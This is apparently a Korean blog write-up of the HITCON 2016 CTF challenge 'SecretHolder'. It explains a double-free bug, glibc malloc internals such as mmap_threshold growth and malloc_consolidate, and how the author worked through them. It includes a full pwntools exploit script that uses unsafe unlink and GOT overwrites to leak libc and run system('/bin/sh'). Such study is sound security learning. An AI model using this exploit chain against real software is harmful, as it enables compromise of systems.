1. Reversing
위의 바이너리에서는 세가지 기능을 제공한다.
- Keep secret : small(40), big(4000), huge(400000) size 만큼 calloc
- Wipe secret : calloc된 chunk를 free
- Renew secret : 이미 calloc된 주소에 다시 size만큼 쓰기
바이너리에는 small, big, huge 각각에 해당하는 flag가 존재한다.
이 flag는 Keep secret으로 small, big, huge 중 하나를 선택해서 calloc을 해주면 선택한 size에 해당하는
flag를 1로 세팅해준다.
Wipe secret은 free를 해주고 flag를 0으로 세팅해준다.
Renew secret 또한 해당 flag가 켜져있는 지 확인 후에 해당 주소에 쓰기를 제공한다.
취약점은 Wipe secret에서 발생한다.
Wipe secret에서 free를 제공해줄때 flag의 비트가 0인지를 검사하지 않고 진행한다.
따라서 이미 free된 chunk에 다시 free를 할 수도 있는 취약점이 생기게 된다.
2. Exploit
해당 바이너리에서 huge size(400000)를 calloc으로 할당하게 되면 size가 topchunk의 크기보다 너무 커서 mmap으로
할당하게 된다. ( 정확히 말하면 size가 mp_.mmap_threshold 보다 커서 그렇다.)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
char *mm; /* return value from mmap call*/
try_mmap:
/*
Round up size to nearest page. For mmapped chunks, the overhead
is one SIZE_SZ unit larger than for normal chunks, because there
is no following chunk whose prev_size field could be used.
See the front_misalign handling below, for glibc there is no
need for further alignments unless we have have high alignment.
*/
if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
size = ALIGN_UP (nb + SIZE_SZ, pagesize);
else
size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize);
tried_mmap = true;
/* Don't try if size wraps around 0 */
if ((unsigned long) (size) > (unsigned long) (nb))
{
mm = (char *) (MMAP (0, size, PROT_READ | PROT_WRITE, 0));
...
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter
|
malloc.c의 소스코드이다. (sysmalloc부분)
3번째 줄의 조건문을 보게 되면 nb가 mmap_threshold보다 크거나 같아지면 23번줄에 매크로로 정의되어 있는
MMAP을 호출하게 된다. (mmap함수맞음)
그렇기 때문에 huge size를 할당하면 mmap을 호출하게 되는데( heap영역과 별개의 영역에 할당됨 )
여기서 문제는 huge size를 calloc → free → calloc을 해주면 mmap으로 할당하지 않아 heap영역에 할당되게 된다.
처음에 보고 띠용?? 했으나 malloc source code를 보게되면...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
void (*hook) (void *, const void *)
= atomic_forced_read (__free_hook);
if (__builtin_expect (hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS (0));
return;
}
if (mem == 0) /* free(0) has no effect */
return;
p = mem2chunk (mem);
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX
&& !DUMPED_MAIN_ARENA_CHUNK (p))
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
return;
}
MAYBE_INIT_TCACHE ();
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter
|
free를 했을 때 15번째 줄에서 해당 chunk가 mmap으로 할당되었는 지 확인 후에 munmap_chunk를 호출한다.
여기서 문제는 19-22번째의 조건문을 만족하면 24-27번째 줄이 실행이 되는데
24번째 줄을 보게 되면 아까 malloc을 할때 기준이 되었던 mmap_threshold의 값을 chunksize만큼 늘리는 것을 볼 수 있다.
이 말은 즉슨 huge size가 free될때 mmap_threshold가 huge size만큼 증가한다는 것을 의미한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
victim = av->top;
size = chunksize (victim);
if (__glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): corrupted top size");
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* When we are using atomic ops to free fast chunks we can get
here for all block sizes. */
else if (atomic_load_relaxed (&av->have_fastchunks))
{
malloc_consolidate (av);
/* restore original bin index */
if (in_smallbin_range (nb))
idx = smallbin_index (nb);
else
idx = largebin_index (nb);
}
/*
Otherwise, relay to handle system-dependent cases
*/
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
}
}
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter
|
해당 size가 topchunk보다 크면 3번째 조건문에 걸리게 되서 sysmalloc을 하게 되고
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
else /* av == main_arena */
{ /* Request enough space for nb + pad + overhead */
size = nb + mp_.top_pad + MINSIZE;
/*
If contiguous, we can subtract out existing space that we hope to
combine with new space. We add it back later only if
we don't actually get contiguous space.
*/
if (contiguous (av))
size -= old_size;
/*
Round to a multiple of page size.
If MORECORE is not contiguous, this ensures that we only call it
with whole-page arguments. And if MORECORE is contiguous and
this is not first time through, this preserves page-alignment of
previous calls. Otherwise, we correct to page-align below.
*/
size = ALIGN_UP (size, pagesize);
/*
Don't try to call MORECORE if argument is so big as to appear
negative. Note that since mmap takes size_t arg, it may succeed
below even if we cannot call MORECORE.
*/
if (size > 0)
{
brk = (char *) (MORECORE (size));
LIBC_PROBE (memory_sbrk_more, 2, brk, size);
}
if (brk != (char *) (MORECORE_FAILURE))
{
/* Call the `morecore' hook if necessary. */
void (*hook) (void) = atomic_forced_read (__after_morecore_hook);
if (__builtin_expect (hook != NULL, 0))
(*hook)();
}
else
{
...
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter
|
sysmalloc에서 huge size가 mmap_threshold보다 작아지기 때문에 위쪽 조건문에서 걸리지 않게 되고
아래쪽으로 넘어와서 main arena영역을 체크하는 곳에 들어가게 된다.
여기서 sbrk가 매크로로 정의된 MORCORE로 sbrk(size)를 실행한다.
따라서 huge size가 free 될때 mmap_threshold를 늘려주고
malloc 할때 top chunk의 size를 sbrk로 늘려주고
huge size에 해당하는 chunk를 heap 영역에 할당하게 된다.
이렇게 되서 huge size를 malloc → free → malloc을 하게 되면 heap영역에 할당되게 된다.
(사실 이거는 소스코드를 계속 보거나 관련 WriteUp or 문서를 계속 찾아봐야 됨)
또한 이렇게 할당되게 되면 unsorted bin에 있는 chunk를 모두 heap영역에 반환하게 되서
(이것도 왜 unsorted bin에서 반환해주는 지 찾아보야됨~~)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
19.08.05
결과적으로 huge size를 할당하게 되면
unosorted bin에 있는 chunk들이 모두 top chunk에 반환되게 된다.
그 이유는 huge size는 large bin에 속하게 되는데 이 huge size가 할당이 되는 순간!
malloc_consolidate()가 호출이 된다.
malloc_consolidate()에서 fastbin에 속해있는 small secret을 small bin으로 할당을 해주는데
small bin으로 전환되는 순간 malloc_consolidate() 내부에서 next chunk가 top chunk인지를 확인한다.
top chunk이면 병합을 하게 되므로 huge size가 할당이 되는 순간에 malloc_consolidate()가 호출이 되고
free된 small secret과 big secret은 무조건 top chunk에 병합하게 되고
sbrk()로 heap영역이 확장된 후 huge secret의 base address가 heap 영역의 시작부분이 되는 것이다.
결론
fast bin일때는 top chunk와 병합되지 않았지만
malloc_consolidate()가 일어나면 (large bin 크기 이상의 chunk가 할당되면) fast bin이 small bin으로 전환되면서
next chunk가 top chunk이면 병합이 진행된다.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
small, big을 할당 후 해제 한 뒤에 huge size를 heap영역에 할당하게 만들면
small pointer와 시작부분이 겹치게 되면서 big의 pointer가 huge content에 포함하게 된다.
이제부터 Exploit Flow는 unsafe unlink로 진행하게 된다.
huge content에서 small, big pointer를 포함하고 있기 때문에
big pointer에 맞춰서 free를 호출할 fake chunk를 만들고 그 밑에 free error가 뜨지 않게 막아주는 fake chunk를 하나 만들어 준다.
전에 풀었던 free note와 동일하게 fake chunk들을 세팅해주면 big, small, huge쪽 pointer에 bss영역이 할당되고
huge secret을 renew로 write해서 got를 가리키게 한 다음 overwrite 후에 libc leak, exploit을 진행했다.
3. slv.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
|
from pwn import *
context.terminal = ['/goorm/tmux', 'splitw', '-h']
script = '''
b* 0x400b1e
b* 0x400ac2
'''
p = process('./SecretHolder')
e = ELF('./SecretHolder')
addr_popret = 0x00400e01
addr_free_got = e.got['free']
addr_puts_plt = e.plt['puts']
addr_puts_got = e.got['puts']
def keepSecret(choice, secret):
p.recv()
p.sendline('1')
p.recv()
p.sendline(choice)
p.recv()
p.sendline(secret)
return
def wipeSecret(choice):
p.recv()
p.sendline('2')
p.recv()
p.sendline(choice)
return
def renewSecret(choice, secret):
p.recv()
p.sendline('3')
p.recv()
p.sendline(choice)
p.recv()
p.sendline(secret)
return
def unsafeunlink():
keepSecret('3', 'a')
wipeSecret('3')
keepSecret('1', 'a')
keepSecret('2', 'b')
wipeSecret('1')
wipeSecret('2')
payload = ''
payload += p64(0)
payload += p64(0)
payload += p64(0x602090)
payload += p64(0x602098)
payload += p64(0x20)
payload += p64(0x90)
payload += 'A' * 0x80
payload += p64(0)
payload += p64(0x619d1)
keepSecret('3', payload)
wipeSecret('2')
return
def libc_leak():
payload = ''
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0x0) # Big secret
payload += p64(addr_free_got) # Huge secret
payload += p64(addr_puts_got) # Small secret
payload += p32(0x0) # Big flag
payload += p32(0xdeadbeef) # Huge flag
payload += p32(0x12345678) # Small flag
payload += p32(0x12312312)
renewSecret('3', payload) # huge, small pointer to GOT
payload = ''
payload += p64(addr_puts_plt)
payload += p64(addr_puts_plt+6)
renewSecret('3', payload) # GOT Overwrite (free -> puts)
keepSecret('2', '/bin/sh\x00')
wipeSecret('1') # libc_leak
libc_leak = u64(p.recvuntil('\n').split('\n')[0]+'\x00\x00')
addr_system = libc_leak - 0x297d0
return addr_system
def exploit():
unsafeunlink()
addr_system = libc_leak()
payload = ''
payload += p64(addr_system)
payload += p64(addr_puts_plt+6)
renewSecret('3', payload) # GOT Overwrite (free -> system)
wipeSecret('2') # system('/bin/sh\x00')
return
def main():
exploit()
p.interactive()
if __name__ == '__main__':
main()
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter
|
[보충할 점]
1. malloc source code를 분석.
2. mmap_threshold가 변환되는 조건문 분석. ( sbrk 조건문 분석 )
3. unsorted bin에 있던 chunk들이 왜 huge size가 할당 될때 heap영역에 반환했는 지 분석.
[깨달은 점]
1. mmap_threshold가 늘어날 수 있음.
Size가 큰 chunk가 할당되었다가 free되면 mmap_threshold가 늘어나면서 다음 malloc 할때는 sbrk로
topchunk를 늘리고 heap영역을 늘려서 mmap으로 할당하지 않을 수 있음.
2. malloc_consolidate()이 호출되면 일어나는 현상
fast bin일때는 top chunk와 병합되지 않았지만
malloc_consolidate()가 일어나면 (large bin 크기 이상의 chunk가 할당되면) fast bin이 small bin으로 전환되면서
next chunk가 top chunk이면 병합이 진행됨.
+++ 참고할 다른 Exploit +++
Reference : https://blog.naver.com/mathboy7/220904838423
1. keep small chunk
2. keep large chunk
3. free small chunk (small chunk -> fastbin) # large chunk's prev_inuse 1
4. keep huge chunk (malloc_consolidate called, small chunk -> smallbin) # prev_inuse 0
5. free small chunk (small chunk -> fastbin, smallbin) # prev_inuse 0
6. keep small chunk (small chunk processed in fastbin) # large chunk's prev_inuse 0
7. renew small chunk, make fake chunk in small chunk and modify prev_inuse
8. free large chunk (unlink triggered)
지리네...
Question 1.
왜 calloc에서 small secret(0x28)을 할당할 때 chunk size(0x10)를 포함한 0x40을 할당하지 않았는가?
(왜 next chunk의 prev size가 침범되게끔 크기를 할당했는가..?)
Answer 1.
chunk의 size를 할당할때의 공식이다.
E = sizeof(int) // 32bit는 4, 64bit는 8
S = 2 * E - 1
malloced_size = ( requested_size + S + E ) & ~(E-1)
추가적인 설명을 하자면
requested_size + S + E = requested_size + 2 * E + (E -1) 이 되고
2 * E는 malloced_size의 chunk header size를 의미하고
E - 1은 ~(E-1)과의 &연산에서 반올림을 담당하고 있다.
(64bit기준으로 request size가 0x28이면 0x30을 할당하고 0x29이면 0x40을 할당하게끔 해주는 값이다.)
아무튼 왜 next chunk의 prev size가 침범되게끔 크기를 할당하냐면
지금 malloced_size는 해당 요청이 들어온 주소값이 사용할 크기이고
prev size는 free된 후에 의미가 있는 부분이다.
한마디로 prev size부분이 침범이 되도 침범되어 사용하는 상태는 해당 chunk를 사용하는 상태이고
(next chunk의 prev size부분이 사용되는 상태는 해당 chunk가 free된 상태이다.
따라서 아무리 next chunk의 prev size부분을 사용한다고 해도 현재 chunk가 free 되는 순간
next chunk의 prev size는 알아서 갱신되기 때문에 침범되도 상관이 없다.
따라서 malloc.c에서 저렇게 malloc size를 할당하게 된다.
'System > Hitcon 2016' 카테고리의 다른 글
[Hitcon 2016] - houseoforange - 191110 (0) | 2019.11.10 |
---|